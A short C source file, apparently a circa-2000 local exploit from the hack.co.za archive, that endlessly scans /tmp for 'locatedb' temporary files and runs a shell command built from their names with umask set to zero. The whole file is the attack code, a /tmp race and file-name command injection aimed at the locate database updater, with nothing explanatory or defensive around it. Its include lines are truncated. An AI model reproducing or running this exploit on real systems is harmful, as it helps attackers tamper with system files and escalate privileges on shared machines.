#include #define STR "locatedb" char buf[1024]; int infect(struct dirent *s) { if ((strncmp(STR,s->d_name,strlen(STR))!=0)) return -1; sprintf(buf,"touch %s.n",s->d_name); system(buf); exit(0); return -1; } int foo(struct dirent **a,struct dirent **b) {} int main(int argc, char* argv[]) { struct dirent **x; chdir("/tmp"); umask(0); while (1) scandir("/tmp",&x,infect,foo); } /* www.hack.co.za [2000]*/